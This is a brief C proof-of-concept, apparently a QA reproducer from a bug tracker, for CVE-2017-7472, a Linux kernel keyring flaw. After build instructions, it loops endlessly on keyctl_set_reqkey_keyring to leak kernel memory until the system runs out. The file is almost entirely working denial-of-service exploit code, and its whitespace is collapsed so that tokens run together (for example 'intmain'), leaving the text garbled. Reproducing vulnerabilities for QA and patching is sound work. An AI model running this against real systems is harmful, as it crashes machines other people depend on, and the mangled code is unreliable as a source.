/*
Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862
QA REPRODUCER:
gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils
./CVE-2017-7472
(will run the kernel out of memory)
*/#include<sys/types.h>#include<keyutils.h>intmain(){for(;;)keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);}